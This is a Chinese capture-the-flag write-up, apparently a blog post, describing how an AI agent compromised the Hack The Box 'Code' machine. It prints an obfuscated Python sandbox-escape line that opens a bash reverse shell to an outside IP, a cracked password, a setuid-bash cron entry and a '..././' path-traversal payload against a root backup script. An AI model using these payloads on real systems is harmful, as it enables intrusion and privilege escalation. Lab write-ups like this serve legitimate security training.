前言
该文章是为了给框架做测试用的。
项目:https://github.com/trtyr/Google_Search_Subdomain_Extractor
测试目标为 Hack The Box 靶场 Code:https://app.hackthebox.com/machines/Code
WP
它首先发现了开发了 22 和 5000 端口
然后它进行了 dirsearch 扫描,得到一些目录
进去是一个可以执行 python 命令的界面。
准备反弹 shell,开启一个监听端口
然后开始绕过,再经过一段长时间的探索后,得到如下命令
getattr(globals()['sys'].modules[chr(111)+chr(115)], chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109))("bash -c 'bash -i >& /dev/tcp/10.10.16.33/9000 0>&1'")
成功反弹 Shell
获取 user
的 flag
然后通过计划任务,找到两个非常可疑的文件:code_home_martin_cronjob_2025_April.tar.bz2
和 code_home_martin_crontrap_2025_April.tar.bz2
它们是 .tar.bz2
压缩包,所有者是 root
,并且所有人可读。文件名暗示它们和用户 martin
的代码或 cron 任务有关
code_home_martin_cronjob_2025_April.tar.bz2
解压后得到了一个文件 home/martin/cronjob/rootme
。rootme
文件的内容是:* * * * * root cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash
code_home_martin_crontrap_2025_April.tar.bz2
解压后得到了一个符号链接 home/martin/crontrap/evilcron
,它指向 /etc/cron.d/
。
然后在 app.py
的源码里找到了 database
读取数据库得到信息 `3de6f30c4a09c27fc71932bfc68474be``
经过解密得到 martin
用户的密码 nafeelswordsmaster
成功通过 SSH 登录 martin
用户
然后发现 martin
用户可以以 root 执行 /usr/bin/backy.sh
这个脚本
#!/bin/bashif [[ $# -ne 1 ]]; then /usr/bin/echo "Usage: $0 <task.json>" exit 1fijson_file="$1"if [[ ! -f "$json_file" ]]; then /usr/bin/echo "Error: File '$json_file' not found." exit 1fiallowed_paths=("/var/" "/home/")updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\.\./"; ""))' "$json_file")/usr/bin/echo "$updated_json" "$json_file"directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')is_allowed_path() { local path="$1" for allowed_path in "${allowed_paths[@]}"; do if [[ "$path" == $allowed_path* ]]; then return 0 fi done return 1}for dir in $directories_to_archive; do if ! is_allowed_path "$dir"; then /usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed." exit 1 fidone/usr/bin/backy "$json_file"
这个脚本是可以将指定文件夹打包备份到指定文件夹下。
因为模型问题,开始犯病
找到一个 json 模板
{ "destination": "/home/martin/backups/", "multiprocessing": true, "verbose_log": false, "directories_to_archive": [ "/home/app-production/app" ], "exclude": [ ".*" ]}
根据模板构建请求
{ "destination": "/home/martin/backups/", "multiprocessing": true, "verbose_log": false, "directories_to_archive": [ "/home/..././root" ], "exclude": [ ".*" ]}
成功
解压得到 flag
全过程
原文始发于微信公众号(隅见录):一次纯AI指导下的HTB打靶记录
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论